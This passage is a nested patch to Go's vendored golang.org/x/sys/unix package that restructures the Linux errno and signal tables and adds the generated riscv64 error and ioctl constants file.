-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {58, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go
-new file mode 100644
-index 00000000..6a0b2d29
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go
-@@ -0,0 +1,771 @@
-+// mkerrors.sh -Wall -Werror -static -I/tmp/include
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build riscv64,linux
-+
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
-+// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-+
-+package unix
-+
-+import "syscall"
-+
-+const (
-+ B1000000 = 0x1008
-+ B115200 = 0x1002
-+ B1152000 = 0x1009
-+ B1500000 = 0x100a
-+ B2000000 = 0x100b
-+ B230400 = 0x1003
-+ B2500000 = 0x100c
-+ B3000000 = 0x100d
-+ B3500000 = 0x100e
-+ B4000000 = 0x100f
-+ B460800 = 0x1004
-+ B500000 = 0x1005
-+ B57600 = 0x1001
-+ B576000 = 0x1006
-+ B921600 = 0x1007
-+ BLKBSZGET = 0x80081270
-+ BLKBSZSET = 0x40081271
-+ BLKFLSBUF = 0x1261
-+ BLKFRAGET = 0x1265
-+ BLKFRASET = 0x1264
-+ BLKGETSIZE = 0x1260
-+ BLKGETSIZE64 = 0x80081272
-+ BLKPBSZGET = 0x127b
-+ BLKRAGET = 0x1263
-+ BLKRASET = 0x1262
-+ BLKROGET = 0x125e
-+ BLKROSET = 0x125d
-+ BLKRRPART = 0x125f
-+ BLKSECTGET = 0x1267
-+ BLKSECTSET = 0x1266
-+ BLKSSZGET = 0x1268
-+ BOTHER = 0x1000
-+ BS1 = 0x2000
-+ BSDLY = 0x2000
-+ CBAUD = 0x100f
-+ CBAUDEX = 0x1000
-+ CIBAUD = 0x100f0000
-+ CLOCAL = 0x800
-+ CR1 = 0x200
-+ CR2 = 0x400
-+ CR3 = 0x600
-+ CRDLY = 0x600
-+ CREAD = 0x80
-+ CS6 = 0x10
-+ CS7 = 0x20
-+ CS8 = 0x30
-+ CSIZE = 0x30
-+ CSTOPB = 0x40
-+ ECHOCTL = 0x200
-+ ECHOE = 0x10
-+ ECHOK = 0x20
-+ ECHOKE = 0x800
-+ ECHONL = 0x40
-+ ECHOPRT = 0x400
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000
-+ FF1 = 0x8000
-+ FFDLY = 0x8000
-+ FLUSHO = 0x1000
-+ FS_IOC_ENABLE_VERITY = 0x40806685
-+ FS_IOC_GETFLAGS = 0x80086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0x5
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0x6
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0x7
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x400
-+ ICANON = 0x2
-+ IEXTEN = 0x8000
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x7b9
-+ ISIG = 0x1
-+ IUCLC = 0x200
-+ IXOFF = 0x1000
-+ IXON = 0x400
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x2000
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x4000
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x1
-+ MCL_FUTURE = 0x2
-+ MCL_ONFAULT = 0x4
-+ NFDBITS = 0x40
-+ NLDLY = 0x100
-+ NOFLSH = 0x80
-+ NS_GET_NSTYPE = 0xb703
-+ NS_GET_OWNER_UID = 0xb704
-+ NS_GET_PARENT = 0xb702
-+ NS_GET_USERNS = 0xb701
-+ OLCUC = 0x2
-+ ONLCR = 0x4
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x4000
-+ O_DIRECTORY = 0x10000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x20000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x410000
-+ O_TRUNC = 0x200
-+ PARENB = 0x100
-+ PARODD = 0x200
-+ PENDIN = 0x4000
-+ PERF_EVENT_IOC_DISABLE = 0x2401
-+ PERF_EVENT_IOC_ENABLE = 0x2400
-+ PERF_EVENT_IOC_ID = 0x80082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x4008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x40042409
-+ PERF_EVENT_IOC_PERIOD = 0x40082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x2402
-+ PERF_EVENT_IOC_RESET = 0x2403
-+ PERF_EVENT_IOC_SET_BPF = 0x40042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x40082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x2405
-+ PPPIOCATTACH = 0x4004743d
-+ PPPIOCATTCHAN = 0x40047438
-+ PPPIOCCONNECT = 0x4004743a
-+ PPPIOCDETACH = 0x4004743c
-+ PPPIOCDISCONN = 0x7439
-+ PPPIOCGASYNCMAP = 0x80047458
-+ PPPIOCGCHAN = 0x80047437
-+ PPPIOCGDEBUG = 0x80047441
-+ PPPIOCGFLAGS = 0x8004745a
-+ PPPIOCGIDLE = 0x8010743f
-+ PPPIOCGIDLE32 = 0x8008743f
-+ PPPIOCGIDLE64 = 0x8010743f
-+ PPPIOCGL2TPSTATS = 0x80487436
-+ PPPIOCGMRU = 0x80047453
-+ PPPIOCGRASYNCMAP = 0x80047455
-+ PPPIOCGUNIT = 0x80047456
-+ PPPIOCGXASYNCMAP = 0x80207450
-+ PPPIOCSACTIVE = 0x40107446
-+ PPPIOCSASYNCMAP = 0x40047457
-+ PPPIOCSCOMPRESS = 0x4010744d
-+ PPPIOCSDEBUG = 0x40047440
-+ PPPIOCSFLAGS = 0x40047459
-+ PPPIOCSMAXCID = 0x40047451
-+ PPPIOCSMRRU = 0x4004743b
-+ PPPIOCSMRU = 0x40047452
-+ PPPIOCSNPMODE = 0x4008744b
-+ PPPIOCSPASS = 0x40107447
-+ PPPIOCSRASYNCMAP = 0x40047454
-+ PPPIOCSXASYNCMAP = 0x4020744f
-+ PPPIOCXFERUNIT = 0x744e
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x40085203
-+ RNDADDTOENTCNT = 0x40045201
-+ RNDCLEARPOOL = 0x5206
-+ RNDGETENTCNT = 0x80045200
-+ RNDGETPOOL = 0x80085202
-+ RNDRESEEDCRNG = 0x5207
-+ RNDZAPENTCNT = 0x5204
-+ RTC_AIE_OFF = 0x7002
-+ RTC_AIE_ON = 0x7001
-+ RTC_ALM_READ = 0x80247008
-+ RTC_ALM_SET = 0x40247007
-+ RTC_EPOCH_READ = 0x8008700d
-+ RTC_EPOCH_SET = 0x4008700e
-+ RTC_IRQP_READ = 0x8008700b
-+ RTC_IRQP_SET = 0x4008700c
-+ RTC_PIE_OFF = 0x7006
-+ RTC_PIE_ON = 0x7005
-+ RTC_PLL_GET = 0x80207011
-+ RTC_PLL_SET = 0x40207012
-+ RTC_RD_TIME = 0x80247009
-+ RTC_SET_TIME = 0x4024700a
-+ RTC_UIE_OFF = 0x7004
-+ RTC_UIE_ON = 0x7003
-+ RTC_VL_CLR = 0x7014
-+ RTC_VL_READ = 0x80047013
-+ RTC_WIE_OFF = 0x7010
-+ RTC_WIE_ON = 0x700f
-+ RTC_WKALM_RD = 0x80287010
-+ RTC_WKALM_SET = 0x4028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x80108907
-+ SIOCGSTAMP_NEW = 0x80108906
-+ SIOCINQ = 0x541b
-+ SIOCOUTQ = 0x5411
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x10
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x11
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x12
-+ SO_RCVTIMEO = 0x14
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x14
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x13
-+ SO_SNDTIMEO = 0x15
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x15
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x800
-+ TAB2 = 0x1000
-+ TAB3 = 0x1800
-+ TABDLY = 0x1800
-+ TCFLSH = 0x540b
-+ TCGETA = 0x5405
-+ TCGETS = 0x5401
-+ TCGETS2 = 0x802c542a
-+ TCGETX = 0x5432
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x5409
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x5406
-+ TCSETAF = 0x5408
-+ TCSETAW = 0x5407
-+ TCSETS = 0x5402
-+ TCSETS2 = 0x402c542b
-+ TCSETSF = 0x5404
-+ TCSETSF2 = 0x402c542d
-+ TCSETSW = 0x5403
-+ TCSETSW2 = 0x402c542c
-+ TCSETX = 0x5433
-+ TCSETXF = 0x5434
-+ TCSETXW = 0x5435
-+ TCXONC = 0x540a
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x80045432
-+ TIOCGETD = 0x5424
-+ TIOCGEXCL = 0x80045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x80285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGPGRP = 0x540f
-+ TIOCGPKT = 0x80045438
-+ TIOCGPTLCK = 0x80045439
-+ TIOCGPTN = 0x80045430
-+ TIOCGPTPEER = 0x5441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x5413
-+ TIOCINQ = 0x541b
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x5411
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x401054d5
-+ TUNDETACHFILTER = 0x401054d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x801054db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
-+)
-+
-+// Errors
-+const (
-+ EADDRINUSE = syscall.Errno(0x62)
-+ EADDRNOTAVAIL = syscall.Errno(0x63)
-+ EADV = syscall.Errno(0x44)
-+ EAFNOSUPPORT = syscall.Errno(0x61)
-+ EALREADY = syscall.Errno(0x72)
-+ EBADE = syscall.Errno(0x34)
-+ EBADFD = syscall.Errno(0x4d)
-+ EBADMSG = syscall.Errno(0x4a)
-+ EBADR = syscall.Errno(0x35)
-+ EBADRQC = syscall.Errno(0x38)
-+ EBADSLT = syscall.Errno(0x39)
-+ EBFONT = syscall.Errno(0x3b)
-+ ECANCELED = syscall.Errno(0x7d)
-+ ECHRNG = syscall.Errno(0x2c)
-+ ECOMM = syscall.Errno(0x46)
-+ ECONNABORTED = syscall.Errno(0x67)
-+ ECONNREFUSED = syscall.Errno(0x6f)
-+ ECONNRESET = syscall.Errno(0x68)
-+ EDEADLK = syscall.Errno(0x23)
-+ EDEADLOCK = syscall.Errno(0x23)
-+ EDESTADDRREQ = syscall.Errno(0x59)
-+ EDOTDOT = syscall.Errno(0x49)
-+ EDQUOT = syscall.Errno(0x7a)
-+ EHOSTDOWN = syscall.Errno(0x70)
-+ EHOSTUNREACH = syscall.Errno(0x71)
-+ EHWPOISON = syscall.Errno(0x85)
-+ EIDRM = syscall.Errno(0x2b)
-+ EILSEQ = syscall.Errno(0x54)
-+ EINPROGRESS = syscall.Errno(0x73)
-+ EISCONN = syscall.Errno(0x6a)
-+ EISNAM = syscall.Errno(0x78)
-+ EKEYEXPIRED = syscall.Errno(0x7f)
-+ EKEYREJECTED = syscall.Errno(0x81)
-+ EKEYREVOKED = syscall.Errno(0x80)
-+ EL2HLT = syscall.Errno(0x33)
-+ EL2NSYNC = syscall.Errno(0x2d)
-+ EL3HLT = syscall.Errno(0x2e)
-+ EL3RST = syscall.Errno(0x2f)
-+ ELIBACC = syscall.Errno(0x4f)
-+ ELIBBAD = syscall.Errno(0x50)
-+ ELIBEXEC = syscall.Errno(0x53)
-+ ELIBMAX = syscall.Errno(0x52)
-+ ELIBSCN = syscall.Errno(0x51)
-+ ELNRNG = syscall.Errno(0x30)
-+ ELOOP = syscall.Errno(0x28)
-+ EMEDIUMTYPE = syscall.Errno(0x7c)
-+ EMSGSIZE = syscall.Errno(0x5a)
-+ EMULTIHOP = syscall.Errno(0x48)
-+ ENAMETOOLONG = syscall.Errno(0x24)
-+ ENAVAIL = syscall.Errno(0x77)
-+ ENETDOWN = syscall.Errno(0x64)
-+ ENETRESET = syscall.Errno(0x66)
-+ ENETUNREACH = syscall.Errno(0x65)
-+ ENOANO = syscall.Errno(0x37)
-+ ENOBUFS = syscall.Errno(0x69)
-+ ENOCSI = syscall.Errno(0x32)
-+ ENODATA = syscall.Errno(0x3d)
-+ ENOKEY = syscall.Errno(0x7e)
-+ ENOLCK = syscall.Errno(0x25)
-+ ENOLINK = syscall.Errno(0x43)
-+ ENOMEDIUM = syscall.Errno(0x7b)
-+ ENOMSG = syscall.Errno(0x2a)
-+ ENONET = syscall.Errno(0x40)
-+ ENOPKG = syscall.Errno(0x41)
-+ ENOPROTOOPT = syscall.Errno(0x5c)
-+ ENOSR = syscall.Errno(0x3f)
-+ ENOSTR = syscall.Errno(0x3c)
-+ ENOSYS = syscall.Errno(0x26)
-+ ENOTCONN = syscall.Errno(0x6b)
-+ ENOTEMPTY = syscall.Errno(0x27)
-+ ENOTNAM = syscall.Errno(0x76)
-+ ENOTRECOVERABLE = syscall.Errno(0x83)
-+ ENOTSOCK = syscall.Errno(0x58)
-+ ENOTSUP = syscall.Errno(0x5f)
-+ ENOTUNIQ = syscall.Errno(0x4c)
-+ EOPNOTSUPP = syscall.Errno(0x5f)
-+ EOVERFLOW = syscall.Errno(0x4b)
-+ EOWNERDEAD = syscall.Errno(0x82)
-+ EPFNOSUPPORT = syscall.Errno(0x60)
-+ EPROTO = syscall.Errno(0x47)
-+ EPROTONOSUPPORT = syscall.Errno(0x5d)
